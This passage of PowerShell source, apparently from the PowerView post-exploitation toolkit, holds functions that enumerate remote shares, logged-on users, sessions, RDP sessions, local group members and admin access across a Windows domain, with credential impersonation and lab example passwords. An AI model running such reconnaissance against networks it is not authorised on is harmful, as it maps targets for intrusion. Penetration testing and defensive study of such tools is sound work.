Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
|
|
}
|
|
}
|
|
else {
|
|
# otherwise we're using the WinNT service provider
|
|
try {
|
|
$GroupProvider = [ADSI]"WinNT://$Computer/$GroupName,group"
|
|
|
|
$GroupProvider.psbase.Invoke('Members') | ForEach-Object {
|
|
|
|
$Member = New-Object PSObject
|
|
$Member | Add-Member Noteproperty 'ComputerName' $Computer
|
|
$Member | Add-Member Noteproperty 'GroupName' $GroupName
|
|
|
|
$LocalUser = ([ADSI]$_)
|
|
$AdsPath = $LocalUser.InvokeGet('AdsPath').Replace('WinNT://', '')
|
|
$IsGroup = ($LocalUser.SchemaClassName -like 'group')
|
|
|
|
if(([regex]::Matches($AdsPath, '/')).count -eq 1) {
|
|
# DOMAIN\user
|
|
$MemberIsDomain = $True
|
|
$Name = $AdsPath.Replace('/', '\')
|
|
}
|
|
else {
|
|
# DOMAIN\machine\user
|
|
$MemberIsDomain = $False
|
|
$Name = $AdsPath.Substring($AdsPath.IndexOf('/')+1).Replace('/', '\')
|
|
}
|
|
|
|
$Member | Add-Member Noteproperty 'AccountName' $Name
|
|
$Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value)
|
|
$Member | Add-Member Noteproperty 'IsGroup' $IsGroup
|
|
$Member | Add-Member Noteproperty 'IsDomain' $MemberIsDomain
|
|
|
|
# if ($MemberIsDomain) {
|
|
# # translate the binary sid to a string
|
|
# $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value)
|
|
# $Member | Add-Member Noteproperty 'Description' ''
|
|
# $Member | Add-Member Noteproperty 'Disabled' ''
|
|
|
|
# if ($IsGroup) {
|
|
# $Member | Add-Member Noteproperty 'LastLogin' ''
|
|
# }
|
|
# else {
|
|
# try {
|
|
# $Member | Add-Member Noteproperty 'LastLogin' $LocalUser.InvokeGet('LastLogin')
|
|
# }
|
|
# catch {
|
|
# $Member | Add-Member Noteproperty 'LastLogin' ''
|
|
# }
|
|
# }
|
|
# $Member | Add-Member Noteproperty 'PwdLastSet' ''
|
|
# $Member | Add-Member Noteproperty 'PwdExpired' ''
|
|
# $Member | Add-Member Noteproperty 'UserFlags' ''
|
|
# }
|
|
# else {
|
|
# # translate the binary sid to a string
|
|
# $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value)
|
|
# $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description)
|
|
|
|
# if ($IsGroup) {
|
|
# $Member | Add-Member Noteproperty 'PwdLastSet' ''
|
|
# $Member | Add-Member Noteproperty 'PwdExpired' ''
|
|
# $Member | Add-Member Noteproperty 'UserFlags' ''
|
|
# $Member | Add-Member Noteproperty 'Disabled' ''
|
|
# $Member | Add-Member Noteproperty 'LastLogin' ''
|
|
# }
|
|
# else {
|
|
# $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0]))
|
|
# $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1')
|
|
# $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] )
|
|
# # UAC flags of 0x2 mean the account is disabled
|
|
# $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.UserFlags.value -band 2) -eq 2)
|
|
# try {
|
|
# $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0])
|
|
# }
|
|
# catch {
|
|
# $Member | Add-Member Noteproperty 'LastLogin' ''
|
|
# }
|
|
# }
|
|
# }
|
|
|
|
$Member
|
|
}
|
|
}
|
|
catch {
|
|
Write-Verbose "[Get-NetLocalGroupMember] Error for $Computer : $_"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
END {
|
|
if ($LogonToken) {
|
|
Invoke-RevertToSelf -TokenHandle $LogonToken
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-NetShare {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Returns open shares on the local (or a remote) machine.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf
|
|
|
|
.DESCRIPTION
|
|
|
|
This function will execute the NetShareEnum Win32API call to query
|
|
a given host for open shares. This is a replacement for "net share \\hostname".
|
|
|
|
.PARAMETER ComputerName
|
|
|
|
Specifies the hostname to query for shares (also accepts IP addresses).
|
|
Defaults to 'localhost'.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the remote system using Invoke-UserImpersonation.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-NetShare
|
|
|
|
Returns active shares on the local host.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-NetShare -ComputerName sqlserver
|
|
|
|
Returns active shares on the 'sqlserver' host
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainComputer | Get-NetShare
|
|
|
|
Returns all shares for all computers in the domain.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-NetShare -ComputerName sqlserver -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.ShareInfo
|
|
|
|
A PSCustomObject representing a SHARE_INFO_1 structure, including
|
|
the name/type/remark for each share, with the ComputerName added.
|
|
|
|
.LINK
|
|
|
|
http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
|
|
#>
|
|
|
|
[OutputType('PowerView.ShareInfo')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('HostName', 'dnshostname', 'name')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$ComputerName = 'localhost',
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
if ($PSBoundParameters['Credential']) {
|
|
$LogonToken = Invoke-UserImpersonation -Credential $Credential
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
ForEach ($Computer in $ComputerName) {
|
|
# arguments for NetShareEnum
|
|
$QueryLevel = 1
|
|
$PtrInfo = [IntPtr]::Zero
|
|
$EntriesRead = 0
|
|
$TotalRead = 0
|
|
$ResumeHandle = 0
|
|
|
|
# get the raw share information
|
|
$Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
|
|
|
|
# locate the offset of the initial intPtr
|
|
$Offset = $PtrInfo.ToInt64()
|
|
|
|
# 0 = success
|
|
if (($Result -eq 0) -and ($Offset -gt 0)) {
|
|
|
|
# work out how much to increment the pointer by finding out the size of the structure
|
|
$Increment = $SHARE_INFO_1::GetSize()
|
|
|
|
# parse all the result structures
|
|
for ($i = 0; ($i -lt $EntriesRead); $i++) {
|
|
# create a new int ptr at the given offset and cast the pointer as our result structure
|
|
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
|
|
$Info = $NewIntPtr -as $SHARE_INFO_1
|
|
|
|
# return all the sections of the structure - have to do it this way for V2
|
|
$Share = $Info | Select-Object *
|
|
$Share | Add-Member Noteproperty 'ComputerName' $Computer
|
|
$Share.PSObject.TypeNames.Insert(0, 'PowerView.ShareInfo')
|
|
$Offset = $NewIntPtr.ToInt64()
|
|
$Offset += $Increment
|
|
$Share
|
|
}
|
|
|
|
# free up the result buffer
|
|
$Null = $Netapi32::NetApiBufferFree($PtrInfo)
|
|
}
|
|
else {
|
|
Write-Verbose "[Get-NetShare] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
|
|
}
|
|
}
|
|
}
|
|
|
|
END {
|
|
if ($LogonToken) {
|
|
Invoke-RevertToSelf -TokenHandle $LogonToken
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-NetLoggedon {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Returns users logged on the local (or a remote) machine.
|
|
Note: administrative rights needed for newer Windows OSes.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf
|
|
|
|
.DESCRIPTION
|
|
|
|
This function will execute the NetWkstaUserEnum Win32API call to query
|
|
a given host for actively logged on users.
|
|
|
|
.PARAMETER ComputerName
|
|
|
|
Specifies the hostname to query for logged on users (also accepts IP addresses).
|
|
Defaults to 'localhost'.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the remote system using Invoke-UserImpersonation.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-NetLoggedon
|
|
|
|
Returns users actively logged onto the local host.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-NetLoggedon -ComputerName sqlserver
|
|
|
|
Returns users actively logged onto the 'sqlserver' host.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainComputer | Get-NetLoggedon
|
|
|
|
Returns all logged on users for all computers in the domain.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-NetLoggedon -ComputerName sqlserver -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.LoggedOnUserInfo
|
|
|
|
A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including
|
|
the UserName/LogonDomain/AuthDomains/LogonServer for each user, with the ComputerName added.
|
|
|
|
.LINK
|
|
|
|
http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
|
|
#>
|
|
|
|
[OutputType('PowerView.LoggedOnUserInfo')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('HostName', 'dnshostname', 'name')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$ComputerName = 'localhost',
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
if ($PSBoundParameters['Credential']) {
|
|
$LogonToken = Invoke-UserImpersonation -Credential $Credential
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
ForEach ($Computer in $ComputerName) {
|
|
# declare the reference variables
|
|
$QueryLevel = 1
|
|
$PtrInfo = [IntPtr]::Zero
|
|
$EntriesRead = 0
|
|
$TotalRead = 0
|
|
$ResumeHandle = 0
|
|
|
|
# get logged on user information
|
|
$Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
|
|
|
|
# locate the offset of the initial intPtr
|
|
$Offset = $PtrInfo.ToInt64()
|
|
|
|
# 0 = success
|
|
if (($Result -eq 0) -and ($Offset -gt 0)) {
|
|
|
|
# work out how much to increment the pointer by finding out the size of the structure
|
|
$Increment = $WKSTA_USER_INFO_1::GetSize()
|
|
|
|
# parse all the result structures
|
|
for ($i = 0; ($i -lt $EntriesRead); $i++) {
|
|
# create a new int ptr at the given offset and cast the pointer as our result structure
|
|
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
|
|
$Info = $NewIntPtr -as $WKSTA_USER_INFO_1
|
|
|
|
# return all the sections of the structure - have to do it this way for V2
|
|
$LoggedOn = $Info | Select-Object *
|
|
$LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
|
|
$LoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LoggedOnUserInfo')
|
|
$Offset = $NewIntPtr.ToInt64()
|
|
$Offset += $Increment
|
|
$LoggedOn
|
|
}
|
|
|
|
# free up the result buffer
|
|
$Null = $Netapi32::NetApiBufferFree($PtrInfo)
|
|
}
|
|
else {
|
|
Write-Verbose "[Get-NetLoggedon] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
|
|
}
|
|
}
|
|
}
|
|
|
|
END {
|
|
if ($LogonToken) {
|
|
Invoke-RevertToSelf -TokenHandle $LogonToken
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-NetSession {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Returns session information for the local (or a remote) machine.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf
|
|
|
|
.DESCRIPTION
|
|
|
|
This function will execute the NetSessionEnum Win32API call to query
|
|
a given host for active sessions.
|
|
|
|
.PARAMETER ComputerName
|
|
|
|
Specifies the hostname to query for sessions (also accepts IP addresses).
|
|
Defaults to 'localhost'.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the remote system using Invoke-UserImpersonation.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-NetSession
|
|
|
|
Returns active sessions on the local host.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-NetSession -ComputerName sqlserver
|
|
|
|
Returns active sessions on the 'sqlserver' host.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainController | Get-NetSession
|
|
|
|
Returns active sessions on all domain controllers.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-NetSession -ComputerName sqlserver -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.SessionInfo
|
|
|
|
A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including
|
|
the CName/UserName/Time/IdleTime for each session, with the ComputerName added.
|
|
|
|
.LINK
|
|
|
|
http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
|
|
#>
|
|
|
|
[OutputType('PowerView.SessionInfo')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('HostName', 'dnshostname', 'name')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$ComputerName = 'localhost',
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
if ($PSBoundParameters['Credential']) {
|
|
$LogonToken = Invoke-UserImpersonation -Credential $Credential
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
ForEach ($Computer in $ComputerName) {
|
|
# arguments for NetSessionEnum
|
|
$QueryLevel = 10
|
|
$PtrInfo = [IntPtr]::Zero
|
|
$EntriesRead = 0
|
|
$TotalRead = 0
|
|
$ResumeHandle = 0
|
|
|
|
# get session information
|
|
$Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
|
|
|
|
# locate the offset of the initial intPtr
|
|
$Offset = $PtrInfo.ToInt64()
|
|
|
|
# 0 = success
|
|
if (($Result -eq 0) -and ($Offset -gt 0)) {
|
|
|
|
# work out how much to increment the pointer by finding out the size of the structure
|
|
$Increment = $SESSION_INFO_10::GetSize()
|
|
|
|
# parse all the result structures
|
|
for ($i = 0; ($i -lt $EntriesRead); $i++) {
|
|
# create a new int ptr at the given offset and cast the pointer as our result structure
|
|
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
|
|
$Info = $NewIntPtr -as $SESSION_INFO_10
|
|
|
|
# return all the sections of the structure - have to do it this way for V2
|
|
$Session = $Info | Select-Object *
|
|
$Session | Add-Member Noteproperty 'ComputerName' $Computer
|
|
$Session.PSObject.TypeNames.Insert(0, 'PowerView.SessionInfo')
|
|
$Offset = $NewIntPtr.ToInt64()
|
|
$Offset += $Increment
|
|
$Session
|
|
}
|
|
|
|
# free up the result buffer
|
|
$Null = $Netapi32::NetApiBufferFree($PtrInfo)
|
|
}
|
|
else {
|
|
Write-Verbose "[Get-NetSession] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
END {
|
|
if ($LogonToken) {
|
|
Invoke-RevertToSelf -TokenHandle $LogonToken
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-RegLoggedOn {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Returns who is logged onto the local (or a remote) machine
|
|
through enumeration of remote registry keys.
|
|
|
|
Note: This function requires only domain user rights on the
|
|
machine you're enumerating, but remote registry must be enabled.
|
|
|
|
Author: Matt Kelly (@BreakersAll)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, ConvertFrom-SID
|
|
|
|
.DESCRIPTION
|
|
|
|
This function will query the HKU registry values to retrieve the local
|
|
logged on users SID and then attempt and reverse it.
|
|
Adapted technique from Sysinternal's PSLoggedOn script. Benefit over
|
|
using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges
|
|
required (NetWkstaUserEnum requires remote admin access).
|
|
|
|
.PARAMETER ComputerName
|
|
|
|
Specifies the hostname to query for remote registry values (also accepts IP addresses).
|
|
Defaults to 'localhost'.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the remote system using Invoke-UserImpersonation.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-RegLoggedOn
|
|
|
|
Returns users actively logged onto the local host.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-RegLoggedOn -ComputerName sqlserver
|
|
|
|
Returns users actively logged onto the 'sqlserver' host.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainController | Get-RegLoggedOn
|
|
|
|
Returns users actively logged on all domain controllers.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-RegLoggedOn -ComputerName sqlserver -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.RegLoggedOnUser
|
|
|
|
A PSCustomObject including the UserDomain/UserName/UserSID of each
|
|
actively logged on user, with the ComputerName added.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.RegLoggedOnUser')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('HostName', 'dnshostname', 'name')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$ComputerName = 'localhost'
|
|
)
|
|
|
|
BEGIN {
|
|
if ($PSBoundParameters['Credential']) {
|
|
$LogonToken = Invoke-UserImpersonation -Credential $Credential
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
ForEach ($Computer in $ComputerName) {
|
|
try {
|
|
# retrieve HKU remote registry values
|
|
$Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName")
|
|
|
|
# sort out bogus sid's like _class
|
|
$Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object {
|
|
$UserName = ConvertFrom-SID -ObjectSID $_ -OutputType 'DomainSimple'
|
|
|
|
if ($UserName) {
|
|
$UserName, $UserDomain = $UserName.Split('@')
|
|
}
|
|
else {
|
|
$UserName = $_
|
|
$UserDomain = $Null
|
|
}
|
|
|
|
$RegLoggedOnUser = New-Object PSObject
|
|
$RegLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName"
|
|
$RegLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain
|
|
$RegLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName
|
|
$RegLoggedOnUser | Add-Member Noteproperty 'UserSID' $_
|
|
$RegLoggedOnUser.PSObject.TypeNames.Insert(0, 'PowerView.RegLoggedOnUser')
|
|
$RegLoggedOnUser
|
|
}
|
|
}
|
|
catch {
|
|
Write-Verbose "[Get-RegLoggedOn] Error opening remote registry on '$ComputerName' : $_"
|
|
}
|
|
}
|
|
}
|
|
|
|
END {
|
|
if ($LogonToken) {
|
|
Invoke-RevertToSelf -TokenHandle $LogonToken
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-NetRDPSession {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Returns remote desktop/session information for the local (or a remote) machine.
|
|
|
|
Note: only members of the Administrators or Account Operators local group
|
|
can successfully execute this functionality on a remote target.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf
|
|
|
|
.DESCRIPTION
|
|
|
|
This function will execute the WTSEnumerateSessionsEx and WTSQuerySessionInformation
|
|
Win32API calls to query a given RDP remote service for active sessions and originating
|
|
IPs. This is a replacement for qwinsta.
|
|
|
|
.PARAMETER ComputerName
|
|
|
|
Specifies the hostname to query for active sessions (also accepts IP addresses).
|
|
Defaults to 'localhost'.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the remote system using Invoke-UserImpersonation.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-NetRDPSession
|
|
|
|
Returns active RDP/terminal sessions on the local host.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-NetRDPSession -ComputerName "sqlserver"
|
|
|
|
Returns active RDP/terminal sessions on the 'sqlserver' host.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainController | Get-NetRDPSession
|
|
|
|
Returns active RDP/terminal sessions on all domain controllers.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-NetRDPSession -ComputerName sqlserver -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.RDPSessionInfo
|
|
|
|
A PSCustomObject representing a combined WTS_SESSION_INFO_1 and WTS_CLIENT_ADDRESS structure,
|
|
with the ComputerName added.
|
|
|
|
.LINK
|
|
|
|
https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx
|
|
#>
|
|
|
|
[OutputType('PowerView.RDPSessionInfo')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('HostName', 'dnshostname', 'name')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$ComputerName = 'localhost',
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
if ($PSBoundParameters['Credential']) {
|
|
$LogonToken = Invoke-UserImpersonation -Credential $Credential
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
ForEach ($Computer in $ComputerName) {
|
|
|
|
# open up a handle to the Remote Desktop Session host
|
|
$Handle = $Wtsapi32::WTSOpenServerEx($Computer)
|
|
|
|
# if we get a non-zero handle back, everything was successful
|
|
if ($Handle -ne 0) {
|
|
|
|
# arguments for WTSEnumerateSessionsEx
|
|
$ppSessionInfo = [IntPtr]::Zero
|
|
$pCount = 0
|
|
|
|
# get information on all current sessions
|
|
$Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
|
|
|
# locate the offset of the initial intPtr
|
|
$Offset = $ppSessionInfo.ToInt64()
|
|
|
|
if (($Result -ne 0) -and ($Offset -gt 0)) {
|
|
|
|
# work out how much to increment the pointer by finding out the size of the structure
|
|
$Increment = $WTS_SESSION_INFO_1::GetSize()
|
|
|
|
# parse all the result structures
|
|
for ($i = 0; ($i -lt $pCount); $i++) {
|
|
|
|
# create a new int ptr at the given offset and cast the pointer as our result structure
|
|
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
|
|
$Info = $NewIntPtr -as $WTS_SESSION_INFO_1
|
|
|
|
$RDPSession = New-Object PSObject
|
|
|
|
if ($Info.pHostName) {
|
|
$RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName
|
|
}
|
|
else {
|
|
# if no hostname returned, use the specified hostname
|
|
$RDPSession | Add-Member Noteproperty 'ComputerName' $Computer
|
|
}
|
|
|
|
$RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName
|
|
|
|
if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) {
|
|
# if a domain isn't returned just use the username
|
|
$RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)"
|
|
}
|
|
else {
|
|
$RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)"
|
|
}
|
|
|
|
$RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID
|
|
$RDPSession | Add-Member Noteproperty 'State' $Info.State
|
|
|
|
$ppBuffer = [IntPtr]::Zero
|
|
$pBytesReturned = 0
|
|
|
|
# query for the source client IP with WTSQuerySessionInformation
|
|
# https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx
|
|
$Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned);$LastError2 = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
|
|
|
if ($Result2 -eq 0) {
|
|
Write-Verbose "[Get-NetRDPSession] Error: $(([ComponentModel.Win32Exception] $LastError2).Message)"
|
|
}
|
|
else {
|
|
$Offset2 = $ppBuffer.ToInt64()
|
|
$NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2
|
|
$Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS
|
|
|
|
$SourceIP = $Info2.Address
|
|
if ($SourceIP[2] -ne 0) {
|
|
$SourceIP = [String]$SourceIP[2]+'.'+[String]$SourceIP[3]+'.'+[String]$SourceIP[4]+'.'+[String]$SourceIP[5]
|
|
}
|
|
else {
|
|
$SourceIP = $Null
|
|
}
|
|
|
|
$RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP
|
|
$RDPSession.PSObject.TypeNames.Insert(0, 'PowerView.RDPSessionInfo')
|
|
$RDPSession
|
|
|
|
# free up the memory buffer
|
|
$Null = $Wtsapi32::WTSFreeMemory($ppBuffer)
|
|
|
|
$Offset += $Increment
|
|
}
|
|
}
|
|
# free up the memory result buffer
|
|
$Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount)
|
|
}
|
|
else {
|
|
Write-Verbose "[Get-NetRDPSession] Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
|
|
}
|
|
# close off the service handle
|
|
$Null = $Wtsapi32::WTSCloseServer($Handle)
|
|
}
|
|
else {
|
|
Write-Verbose "[Get-NetRDPSession] Error opening the Remote Desktop Session Host (RD Session Host) server for: $ComputerName"
|
|
}
|
|
}
|
|
}
|
|
|
|
END {
|
|
if ($LogonToken) {
|
|
Invoke-RevertToSelf -TokenHandle $LogonToken
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Test-AdminAccess {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Tests if the current user has administrative access to the local (or a remote) machine.
|
|
|
|
Idea stolen from the local_admin_search_enum post module in Metasploit written by:
|
|
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
|
|
'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>'
|
|
'Royce Davis "r3dy" <rdavis[at]accuvant.com>'
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf
|
|
|
|
.DESCRIPTION
|
|
|
|
This function will use the OpenSCManagerW Win32API call to establish
|
|
a handle to the remote host. If this succeeds, the current user context
|
|
has local administrator acess to the target.
|
|
|
|
.PARAMETER ComputerName
|
|
|
|
Specifies the hostname to check for local admin access (also accepts IP addresses).
|
|
Defaults to 'localhost'.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the remote system using Invoke-UserImpersonation.
|
|
|
|
.EXAMPLE
|
|
|
|
Test-AdminAccess -ComputerName sqlserver
|
|
|
|
Returns results indicating whether the current user has admin access to the 'sqlserver' host.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainComputer | Test-AdminAccess
|
|
|
|
Returns what machines in the domain the current user has access to.
|
|
|
|
.EXAMPLE
|
|
|
|
